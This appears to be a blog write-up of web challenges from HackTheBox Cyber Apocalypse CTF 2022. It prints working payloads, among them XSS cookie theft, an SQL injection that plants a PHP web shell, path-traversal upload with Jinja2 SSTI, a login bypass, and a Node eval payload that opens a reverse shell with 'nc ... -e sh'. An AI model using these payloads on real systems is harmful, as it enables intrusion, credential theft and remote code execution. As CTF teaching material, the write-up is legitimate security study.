Cyber Apocalypse CTF 2022 - HackTheBox - Writeup - All Challenges - Web Exploitation

·

17 min read

Cyber Apocalypse CTF 2022 - HackTheBox - Writeup - All Challenges - Web Exploitation

ca2022.jpg

Hello what's up guys I am back to posting new writeup. Let's start talking.

Kryptos Support

kryptos support - hackthebox - writeup -1.png

Let's access to the given URL.

kryptos support - hackthebox - writeup -2.png

So It's about backend but this seems like there's a XSS. Let's try to steal cookies.

kryptos support - hackthebox - writeup -3.png

kryptos support - hackthebox - writeup -5.png

Okay so I stole cookie via img src. This means that we can confirm an XSS and we JavaScript code is executed. I was using ngrok to get address for this.

kryptos support - hackthebox - writeup -6.png

So I made a session and pasted that cookie. Btw this cookie is JWT. Now refresh website and type in URL search bar /tickets.

kryptos support - hackthebox - writeup -7.png

So we are logged in as moderator but not admin? Let's check settings.

kryptos support - hackthebox - writeup -8.png

So we can reset password hm interesting. Let's intercept request in burp suite.

kryptos support - hackthebox - writeup -9.png

So I tried to reset password to admin and there's uid 100. This seems like there's a IDOR vulnerability. Let's change uid to 1 and let's see what's gonna happen.

kryptos support - hackthebox - writeup -10.png

Now it says password for admin changed succesfully. This means that we didn't changed password for moderator like in previous one. Now we are admin. And yeah we can confirm IDOR vulnerability. Let's login. And yeah we got a flag. XSS and IDOR's are actually fun to be honest. Let's move to another challenge.

Blinker Fluids

blinker fluids - writeup - 1.png

blinker fluids - writeup - 2.png

So I accessed to the given URL and It's something about Invoice List? Let's click that Create New Invoice.

blinker fluids - writeup - 3.png

So It's something about blinker fluids corp. Let's save this.

blinker fluids - writeup - 4.png

And yeah when we click it, it gets exported in PDF. So let's check files that we got. Let's check package.json file.

blinker fluids - writeup - 5.png

So version of package is 4.1.0 let's check MDHelper.js file.

blinker fluids - writeup - 6.png

'--no-sandbox', '--js-flags=--noexpose_wasm,--jitless
no '- no-sandbox '

means that we have access to host environment . Here's the resource for RCE: https://github.com/simonhaenisch/md-to-pdf/issues/99

blinker fluids - writeup - 7.png

So this poc.js didn't worked for me. Let's check comments.

blinker fluids - writeup - 8.png

This poc used the read dir function, which takes path as input and returns the listing on that path. So, copied the poc and pasted it in the create new invoice editor.

---js
{
    css: `body::before { content: "${require('fs').readdirSync('/').join()}"; display: block }`,
}
---

blinker fluids - writeup - 10.png

So I created new invoice and I put flag.txt just to get flag so quick.

blinker fluids - writeup - 11.png

So it got exported in PDF and here's the flag. RCE was fun.So let's move on another challenge.

Amidst Us

amidst us - writeup - 1.png

amidst us - writeup - 2.png

Lmao It's about Among Us. Let's upload the image.

amidst us - writeup - 3.png

Now let's intercept request in burp suite.

amidst us - writeup - 4.png

So analyzing the POST request, we can see it sends the data as json and uploaded image is also converted to base64. Since, we had source code available for this challenge, so let's go to source code to see what's happening under the hood. It's a python web app.

amidst us - writeup - 5.png

Let's take a look at the make alpha function, first it retrieves background field from json data and saves it in color variable as list. And then it gets image field and base64 decodes and it converts it back into image and then extracts RGB color bands from it. Then, it performs some calculations on image pixels using ImageMath.eval function from pillow library.

amidst us - writeup - 5.png

Let's check requirements.txt because there should be version for Pillow library.

amidst us - writeup - 6.png

So version of Pillow is 8.4.0 let's try to find that version on our firefox.

amidst us - writeup - 7.png

So I found CVE that allows arbitrary expression evaluation in ImageMath.eval function.

Here's the CVE https://github.com/advisories/GHSA-8vj2-vxx3-667w

So let's look at source code again.

amidst us - writeup - 8.png

We can clearly see that the only field that we control and which is directly passed into the vulnerable function is background field. Let's look in burp suite again.

amidst us - writeup - 9.png

We can see that background parameter is passed at the end and it contains an array. So we can inject this parameter and get a reverse shell, do whatever we want on the server. But in this case I won't go for reverse shell.

amidst us - writeup - 10.png

So I typed this code now let's send it to the repeater again and let's see is there flag on website.

amidst us - writeup - 11.png

And yeah there's a flag. RCE was fun again lol. Let's move to another challenge.

Intergalactic Post

intergalactice post - writeup - 1.png

intergalactice post - writeup - 2.png

So I accessed to the given URL. And there's email subscribe. But when we give email input it literally accepts. But if we give another format like 'lol' it does not accepts. Let's check the source code.

intergalactice post - writeup - 3.png

So It is using PHP filter_var() function which is checking if it is in email format. Let's check database.php

intergalactice post - writeup - 4.png

Also I found link for SQL Injection login bypass with email format.

GitHub - Xib3rR4dAr/filter-var-sqli: Bypassing FILTER_SANITIZE_EMAIL & FILTER_VALIDATE_EMAIL… Story: While testing a site, I came across it's admin panel and got stuck at login. The common SQLi login bypass…github.com

You will need to edit code to make sure there's no PHP var_filter() function and then you can attack. But I won't do this. Have you noticed that it gets our IP address and writes it to the database? But it doesn't got any filter() function.

intergalactice post - writeup - 5.png

So let's add the header to send our IP address. But first let's type something in email subscribe.

intergalactice post - writeup - 6.png

SQLite3 Injection Cheat Sheet - ~/haxing A few months ago I found an SQL injection vulnerability in an enterprisey webapp's help system. Turns out this was…atta.cked.me

As you can see we will use this header:

X-Forwarded-For: blahblah','blahblah');ATTACH DATABASE '/www/root.php' as root;CREATE TABLE root.lol(dataz text); INSERT INTO root.lol(dataz) VALUES ("<?php system($_GET['cmd']); ?>");--

intergalactice post - writeup - 7.png

So response code is 302 found.

intergalactice post - writeup - 8.png

intergalactice post - writeup - 9.png

It accepts it as it is valid e-mail, but it is not checking the IP address in correct format. Now we got a web shell at root.php and we can executed different type of commands.

intergalactice post - writeup - 10.png

And that is it. Flag is our. Let's move to another challenge again lol.

Acnologia Portal

Acnologia Portal - writeup - 1.png

Acnologia Portal - writeup - 2.png

It is login page. Let's check source code.

Acnologia Portal - writeup - 3.png

As we can see in the line , COPY flag.txt /flag.txtthe flag is in .txtthe base folder of the server, so it is assumed that the challenge would be an LFI or an RCE. So let's register and then login to my account.

Acnologia Portal - writeup - 4.png

Let's check another file.

@api.route('/firmware/report', methods=['POST'])
@login_required
def report_issue():
    if not request.is_json:
        return response('Missing required parameters!'), 401
data = request.get_json()
    module_id = data.get('module_id', '')
    issue = data.get('issue', '')
if not module_id or not issue:
        return response('Missing required parameters!'), 401
new_report = Report(module_id=module_id, issue=issue, reported_by=current_user.username)
    db.session.add(new_report)
    db.session.commit()
visit_report()
    migrate_db()
return response('Issue reported successfully!')

The interesting thing about the endpoint is the function visit_report()which simulates that the admin of the page logs in to the server and reviews the review that we just did. To review the review the admin visits the endpoint /reviewwhich renders this html.

{% for report in reports %} 
    <div class="card">
        <div class="card-header"> Reported by : {{ report.reported_by }} </div>
        <div class="card-body">
            <p class="card-title">Module ID : {{ report.module_id }}</p>
            <p class="card-text">Issue : {{ report.issue | safe }} </p>
            <a href="#" class="btn btn-primary">Reply</a>
            <a href="#" class="btn btn-danger">Delete</a>
        </div>
    </div> 
{% endfor %}

The remarkable thing about this part is that

<p class="card-text">Issue : {{ report.issue | safe }} </p>

contains the flag safewhich tells Jinja2 not to worry and if it finds an html tag it displays it without any problem which allows us to do an XSS if the input is not sanitized. Everyone would like to steal the admin's cookie and use it later but the server uses

from flask_session import Session

which creates cookies with the flag, HttpOnly herefore we could not access it with JavaScript, in addition to the decorator that verifies that if the requests come from an admin, it verifies that they come from ``` 127.0.0.1


def is_admin(f): @functools.wraps(f) def wrap(args, **kwargs): if current_user.username == current_app.config['ADMIN_USERNAME'] and request.remote_addr == '127.0.0.1': return f(args, **kwargs) else: return abort(405) return wrap



So we can confirm that we found Blind XSS.
Well with this XSS we can access the endpoints that are for the administrators which are 2


**/review**


**/firmware/upload**

This last one is interesting. @api.route('/firmware/upload', methods=['POST']) @login_required @is_admin def firmware_update(): if 'file' not in request.files: return response('Missing required parameters!'), 401 extraction = extract_firmware(request.files['file']) if extraction: return response('Firmware update initialized successfully.') return response('Something went wrong, please try again!'), 403


This endpoint lets us upload new firmware to the server and the server extracts and saves it using the

extract_firmware()


def extract_firmware(file): tmp = tempfile.gettempdir() path = os.path.join(tmp, file.filename) file.save(path) # Guarda el archivo en /tmp if tarfile.is_tarfile(path): tar = tarfile.open(path, 'r:gz') tar.extractall(tmp) rand_dir = generate(15) extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}" os.makedirs(extractdir, exist_ok=True) for tarinfo in tar: name = tarinfo.name if tarinfo.isreg(): try: filename = f'{extractdir}/{name}' os.rename(os.path.join(tmp, name), filename) continue except: pass os.makedirs(f'{extractdir}/{name}', exist_ok=True) tar.close() return True return False


What strikes me here is that the file is saved in /tmp directory before checking if this is a valid file in addition to this if the file name is not filtered so maybe we could add ../to this and save it wherever we want.
Well, we have a way to upload files, we can try adding ../to the files, but of course we would have to be admin for that, So let's remove the decorators from is_adminthe endpoints and restart d the docker instance to have a more comfortable debug.
Having that ready we will create a request to upload a file to the server and take it to the Burp Suite repeater and we will arrive at something like this:

POST /api/firmware/upload HTTP/1.1 Host: IP address:1337 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuFx8NnmI39xF4zPV ------WebKitFormBoundaryuFx8NnmI39xF4zPV Content-Disposition: form-data; name="file"; filename="../app/test.txt" Content-Type: text/plain test ------WebKitFormBoundaryuFx8NnmI39xF4zPV--


If all of the above is correct, it means that a file test.txtcalled /app. What about RCE with HTML since we can't scale this to RCE or an LFI.
Let's try to ​​overwrite a file HTMLand with the syntax of being Jinja2able to execute code. This should work, so we will write a file .htmlwith a typical vulnerability payload SSTI.

{{ 7*7 }}


If we upload this file and it overwrites for example the file register.htmlwhen we access the endpoint it /registershould show us a 49.
So let's edit the Burp request to this and send it.

POST /api/firmware/upload HTTP/1.1 Host: IP address:1337 Content-Length: 193 boundary=----WebKitFormBoundaryuFx8NnmI39xF4zPV ------WebKitFormBoundaryuFx8NnmI39xF4zPV Content-Disposition: form-data; name="file"; filename="../app/application/templates/register.html" Content-Type: text/plain

{{ 7*7 }}

------WebKitFormBoundaryuFx8NnmI39xF4zPV--



So we can verify file and we would see it's edited correctly. You might have a one problem. The problem is that now you will have to register to the page without going to /registerso we will have to write a script that uses the application's API, uploads the XSS and it rewrites the file.
For the exploit we need 3 things

**A payload to read a file**

**An XSS that lets us upload a file as admin**

**A script that uses the API to send the XSS**


The first thing that we are going to do is the payload to read files from Jinja2

{{ namespace.init.globals.os.popen('cat ../../../../../../flag.txt').read() }}


Then I code to upload files with JS.

const payload = "

{{ namespace.init.globals.os.popen('cat ../../../../../../flag.txt').read() }}

"; var strblob =new Blob([payload], {type: 'text/plain'}); var formdata = new FormData(); formdata.append("file", strblob, "../app/application/templates/register.html"); var requestOptions = { method: 'POST', body: formdata, redirect: 'follow' }; fetch("localhost:1337/api/firmware/upload", requestOptions)


And finally we made a script to send everything to the server.
import requests
url = "http://IP address:1337/"
# Auth
r = requests.post(url +  "api/register", json = {"username": "rootjkqsta", "password": "password"})
r = requests.post(url +  "api/login", json = {"username": "rootjkqsta",  "password": "password"})
cookie = r.cookies["session"]
# Send the XSS
r = requests.post(
    url + "api/firmware/report",
    cookies = {"session": cookie},
    json = {
        "module_id": "1",
        "issue": "<script src='http://ngrok.io/content/lol.js'></script>"
    }
)
# get the flag
r = requests.get(url + "register")
print(r.text)
With all this ready, we will use python3 -m http.serverto send the XSS file and we will also tunnel with ngrok to receive the requests without opening the ports. And it should work. Just follow me what I said. This was kinda confusing challenge but however let's move to another one again.

Spiky Tamagotchy

Spiky Tamagotchy - writeup - 1.png

Spiky Tamagotchy - writeup - 2.png

So It is login page again. Let's take a look at /routes/index.js file.

router.post('/api/login', async (req, res) => {
    const { username, password } = req.body;

    if (username && password) {
        return db.loginUser(username, password)
[...]
 module.exports = database => {
    db = database;
    return router;
};

they are passed to loginUser() and reached the prepared statement here.

Let's check database.js file.

async loginUser(user, pass) {
        return new Promise(async (resolve, reject) => {
            let stmt = 'SELECT username FROM users WHERE username = ? AND password = ?';
            this.connection.query(stmt, [user, pass], (err, result) => {

Now let's exploit.

POST /api/login HTTP/1.1
Host: longcat.local:1337
[...]
{"username":"admin","password": {"password": 1}}

Objects are turned into key = 'val' pairs for each enumerable property on the object. If the property's value is a function, it is skipped; if the property's value is an object, toString() is called on it and the returned value is used. the prepared statement:

SELECT username FROM users WHERE username = ? AND password = ?

Become:

SELECT username FROM users WHERE username = 'admin' AND password = `password` = 1

So, the evaluation is like:

`password` =is=> password column
password = `password` =evaluated as=> true (1)

password = [user input]
password = `password` = 1
1 = 1

1 = 1 =evaluated as=> true

Like this:

MariaDB [spiky_tamagotchi]> select password=password from users;
+-------------------+
| password=password |
+-------------------+
|                 1 |
+-------------------+
1 row in set (0.001 sec)

MariaDB [spiky_tamagotchi]> select password=password=1 from users;
+---------------------+
| password=password=1 |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.001 sec)

MariaDB [spiky_tamagotchi]> select * from users where username ='admin' and password = `password` = 1;
+----+----------+------------------+
| id | username | password         |
+----+----------+------------------+
|  1 | admin    | tyR8Y9YaKRd5oNQc |
+----+----------+------------------+
1 row in set (0.004 sec)

it returns:

HTTP/1.1 200 OK
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUyOTcxMDEyfQ.JAVOdFqMM7fDjaINAY8R4-dFSTsDGO_pvRMyGeUlTG4; Max-Age=3600; Path=/; Expires=Thu, 19 May 2022 15:36:52 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 46
Date: Thu, 19 May 2022 14:36:52 GMT
Connection: close

{"message":"User authenticated successfully!"}

Chrome's console:

document.cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUyOTc3Mzk4fQ.UwNx5sZlYOKO2TxS_l2lqO2WN_iYEzzc8cBOI06Ud8c; Max-Age=3600; Path=/; Expires=Thu, 19 May 2023 15:36:52 GMT"

File: /routes/index.js

router.post('/api/activity', AuthMiddleware, async (req, res) => {
    const { activity, health, weight, happiness } = req.body;
    if (activity && health && weight && happiness) {
        return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))

File: /helpers/SpikyFactor.js

const calculate = (activity, health, weight, happiness) => {
    return new Promise(async (resolve, reject) => {
        try {
            // devine formula :100:
            let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
                if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; }  if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; }  if (w < 10) { w = 10 } return {m, hp, w, hs}
                }`;
            quickMaths = new Function(res);

Exploit: RCE

POST /api/activity HTTP/1.1
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUyOTc3Mzk4fQ.UwNx5sZlYOKO2TxS_l2lqO2WN_iYEzzc8cBOI06Ud8c
[...]
{"activity":"sleep'+(global.process.mainModule.require('child_process').execSync('nc 1.3.3.7 1337 -e sh'))+'",
And set up netcat listener and port 1337.

Red Island

Red Island - writeup - 1.png

Red Island - writeup - 2.png

So It is login page again. Let's make a account and then login.

Red Island - writeup - 3.png

So I typed file:///etc/passwd just to see is there LFI vulnerability and yeah we can confirm LFI vuln.

There is redis.

Red Island - writeup - 4.png

Let's check the package.json so we should see redis version .

Red Island - writeup - 4 but real one.png

We can confirm that redis is running inside the machine and we could check various files such as the /etc/hosts or the history but checking the /etc/passwd it looks like it doesnt have any home directory for user all the left is to fuzz the cmdline which resides at /proc to see the processes after fuzzing it we see that redis is running but i decided to continue to fuzz for more after 400 i stopped it.

Red Island - writeup - 6.png

After trying some payloads and modifying it we got successful OK response which tell us that this is successfully executed by the redis the thing have you noticed in this if we did not added quit it will not load or give us the output since it considers that it was still on the redis-cli. I tried various stuffs with it such as trying to get web shell, replacing the index.js and access it thru SSRF and some various stuffs but none of them works. So I was like does redis has eval injection?

Red Island - writeup - 7.png

There's a lua user. After some research we found CVE-2022–0543. This CVE is redis lua sandbox escape and turns it into RCE. It was done by package loading of /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 and executing some RCE with io.popen() since redis have some eval and we know that eval is dangerous and could turn this to RCE. And yeah we got a flag.

Red Island - writeup - 8.png

Mutation Lab

Mutation Lab - writeup - 1.png

Mutation Lab - writeup - 2.png

It's login page again lol. Let's register and then login to our account. So let's click any of this thing. And we will intercept it in burp suite.

Mutation Lab - writeup - 3.png

Mutation Lab - writeup - 4.png

So it converts SVG file into a PNG. Here's the payload for path traversal:

const fileSvg = `<svg-dummy></svg-dummy> <iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe> <svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"> <text x="0" y="0" class="Rrrrr" id="demo">data</text> </svg>`;

I tried the SVG payload and it gives us only a PNG but going to the directory it shows the result of /etc/passwd.

Mutation Lab - writeup - 5.png

So we got a /etc/passwd file. So we could turn this into white box testing because we have LFI vuln.

Mutation Lab - writeup - 6.png

So I started doing source code analysis of /app/index.js

Mutation Lab - writeup - 7.png

We can see here that there's .env file on /app and also it uses to sign the session cookie. So let's check that .env file.

Mutation Lab - writeup - 8.png

We have a session secret key but how to forge the cookie of the admin? Here's the solution with this node.js code.

Mutation Lab - writeup - 9.png

When you get admin cookie just replace cookie and refresh website and you will be admin. Here's the flag.

Mutation Lab - writeup - 10.png

That is it.

kako dobiti cert.png

README.md Hope you enjoy reading this challenge, take a care and see you in a new one. I spent whole night to make this writeup for you guys. See ya! Also medium took down 3 web challenges from me???